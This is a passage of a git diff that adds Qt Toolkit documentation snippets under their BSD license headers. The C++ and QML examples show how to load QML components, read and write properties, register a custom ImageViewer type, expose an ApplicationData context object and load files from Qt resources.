+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+static void withComponent()
+{
+//![QDeclarativeComponent-a]
+// Using QDeclarativeComponent
+QDeclarativeEngine engine;
+QDeclarativeComponent component(&engine,
+ QUrl::fromLocalFile("MyItem.qml"));
+QObject *object = component.create();
+//![QDeclarativeComponent-a]
+}
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+//![QDeclarativeView]
+// Using QDeclarativeView
+QDeclarativeView view;
+view.setSource(QUrl::fromLocalFile("MyItem.qml"));
+view.show();
+QObject *object = view.rootObject();
+//![QDeclarativeView]
+
+//![properties]
+object->setProperty("width", 500);
+QDeclarativeProperty(object, "width").write(500);
+//![properties]
+
+//![cast]
+QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(object);
+item->setWidth(500);
+//![cast]
+
+//![findChild]
+QObject *rect = object->findChild<QObject*>("rect");
+if (rect)
+ rect->setProperty("color", "red");
+//![findChild]
+
+//![QDeclarativeComponent-b]
+delete object;
+//![QDeclarativeComponent-b]
+
+withComponent();
+
+ return app.exec();
+}
+
diff --git a/doc/src/snippets/declarative/qtbinding/newelements/imageviewer.h b/doc/src/snippets/declarative/qtbinding/newelements/imageviewer.h
new file mode 100644
index 00000000..b0fdaf57
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/newelements/imageviewer.h
@@ -0,0 +1,56 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+#include <QtCore>
+#include <QtDeclarative>
+
+class ImageViewer : public QDeclarativeItem
+{
+ Q_OBJECT
+ Q_PROPERTY(QUrl image READ image WRITE setImage NOTIFY imageChanged)
+
+public:
+ void setImage(const QUrl &url);
+ QUrl image() const;
+
+signals:
+ void imageChanged();
+};
+//![0]
diff --git a/doc/src/snippets/declarative/qtbinding/newelements/main.cpp b/doc/src/snippets/declarative/qtbinding/newelements/main.cpp
new file mode 100644
index 00000000..0825a60b
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/newelements/main.cpp
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+#include "imageviewer.h"
+
+void ImageViewer::setImage(const QUrl &url) {}
+QUrl ImageViewer::image() const { return QUrl(); }
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ //![register]
+ qmlRegisterType<ImageViewer>("MyLibrary", 1, 0, "ImageViewer");
+ //![register]
+
+ QDeclarativeView view;
+ view.setSource(QUrl::fromLocalFile("standalone.qml"));
+ view.show();
+
+ return app.exec();
+}
+
diff --git a/doc/src/snippets/declarative/qtbinding/newelements/newelements.pro b/doc/src/snippets/declarative/qtbinding/newelements/newelements.pro
new file mode 100644
index 00000000..82bc1234
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/newelements/newelements.pro
@@ -0,0 +1,3 @@
+QT += declarative
+SOURCES += main.cpp
+HEADERS += imageviewer.h
diff --git a/doc/src/snippets/declarative/qtbinding/newelements/standalone.qml b/doc/src/snippets/declarative/qtbinding/newelements/standalone.qml
new file mode 100644
index 00000000..fcc9d855
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/newelements/standalone.qml
@@ -0,0 +1,44 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import MyLibrary 1.0
+
+ImageViewer { image: "smile.png" }
+//![0]
diff --git a/doc/src/snippets/declarative/qtbinding/properties-cpp/MyItem.qml b/doc/src/snippets/declarative/qtbinding/properties-cpp/MyItem.qml
new file mode 100644
index 00000000..8c21b420
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/properties-cpp/MyItem.qml
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// MyItem.qml
+import QtQuick 1.0
+
+Rectangle {
+ width: 100; height: 100
+ color: applicationData.backgroundColor
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: applicationData.backgroundColor = "red"
+ }
+}
+//![0]
+
diff --git a/doc/src/snippets/declarative/qtbinding/properties-cpp/applicationdata.h b/doc/src/snippets/declarative/qtbinding/properties-cpp/applicationdata.h
new file mode 100644
index 00000000..03b2c0ca
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/properties-cpp/applicationdata.h
@@ -0,0 +1,71 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QObject>
+#include <QColor>
+
+//![0]
+class ApplicationData : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QColor backgroundColor
+ READ backgroundColor
+ WRITE setBackgroundColor
+ NOTIFY backgroundColorChanged)
+
+public:
+ void setBackgroundColor(const QColor &c) {
+ if (c != m_color) {
+ m_color = c;
+ emit backgroundColorChanged();
+ }
+ }
+
+ QColor backgroundColor() const {
+ return m_color;
+ }
+
+signals:
+ void backgroundColorChanged();
+
+private:
+ QColor m_color;
+};
+//![0]
diff --git a/doc/src/snippets/declarative/qtbinding/properties-cpp/main.cpp b/doc/src/snippets/declarative/qtbinding/properties-cpp/main.cpp
new file mode 100644
index 00000000..2da27e37
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/properties-cpp/main.cpp
@@ -0,0 +1,58 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+#include "applicationdata.h"
+
+int main(int argc, char *argv[]) {
+ QApplication app(argc, argv);
+
+ QDeclarativeView view;
+
+ ApplicationData data;
+ view.rootContext()->setContextProperty("applicationData", &data);
+
+ view.setSource(QUrl::fromLocalFile("MyItem.qml"));
+ view.show();
+
+ return app.exec();
+}
+
diff --git a/doc/src/snippets/declarative/qtbinding/properties-cpp/properties-cpp.pro b/doc/src/snippets/declarative/qtbinding/properties-cpp/properties-cpp.pro
new file mode 100644
index 00000000..188a9fb9
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/properties-cpp/properties-cpp.pro
@@ -0,0 +1,3 @@
+QT += declarative
+SOURCES += main.cpp
+HEADERS += applicationdata.h
diff --git a/doc/src/snippets/declarative/qtbinding/properties-qml/MyItem.qml b/doc/src/snippets/declarative/qtbinding/properties-qml/MyItem.qml
new file mode 100644
index 00000000..62b94ade
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/properties-qml/MyItem.qml
@@ -0,0 +1,47 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// MyItem.qml
+import QtQuick 1.0
+
+Item {
+ property int someNumber: 100
+}
+//![0]
diff --git a/doc/src/snippets/declarative/qtbinding/properties-qml/main.cpp b/doc/src/snippets/declarative/qtbinding/properties-qml/main.cpp
new file mode 100644
index 00000000..acbf2061
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/properties-qml/main.cpp
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+//![0]
+QDeclarativeEngine engine;
+QDeclarativeComponent component(&engine, "MyItem.qml");
+QObject *object = component.create();
+
+qDebug() << "Property value:" << QDeclarativeProperty::read(object, "someNumber").toInt();
+QDeclarativeProperty::write(object, "someNumber", 5000);
+
+qDebug() << "Property value:" << object->property("someNumber").toInt();
+object->setProperty("someNumber", 100);
+//![0]
+
+ return app.exec();
+}
+
diff --git a/doc/src/snippets/declarative/qtbinding/properties-qml/properties-qml.pro b/doc/src/snippets/declarative/qtbinding/properties-qml/properties-qml.pro
new file mode 100644
index 00000000..68eeaf21
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/properties-qml/properties-qml.pro
@@ -0,0 +1,2 @@
+QT += declarative
+SOURCES += main.cpp
diff --git a/doc/src/snippets/declarative/qtbinding/resources/example.qrc b/doc/src/snippets/declarative/qtbinding/resources/example.qrc
new file mode 100644
index 00000000..5e494151
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/resources/example.qrc
@@ -0,0 +1,10 @@
+<!DOCTYPE RCC>
+<RCC version="1.0">
+
+<qresource prefix="/">
+ <file>main.qml</file>
+ <file>images/background.png</file>
+</qresource>
+
+</RCC>
+
diff --git a/doc/src/snippets/declarative/qtbinding/resources/images/background.png b/doc/src/snippets/declarative/qtbinding/resources/images/background.png
new file mode 100644
index 00000000..e69de29b
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/resources/images/background.png
diff --git a/doc/src/snippets/declarative/qtbinding/resources/main.cpp b/doc/src/snippets/declarative/qtbinding/resources/main.cpp
new file mode 100644
index 00000000..6b967855
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/resources/main.cpp
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QApplication>
+#include <QDeclarativeView>
+#include <QDeclarativeContext>
+
+//![0]
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QDeclarativeView view;
+ view.setSource(QUrl("qrc:/main.qml"));
+ view.show();
+
+ return app.exec();
+}
+//![0]
+
diff --git a/doc/src/snippets/declarative/qtbinding/resources/main.qml b/doc/src/snippets/declarative/qtbinding/resources/main.qml
new file mode 100644
index 00000000..4c6cc748
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/resources/main.qml
@@ -0,0 +1,46 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
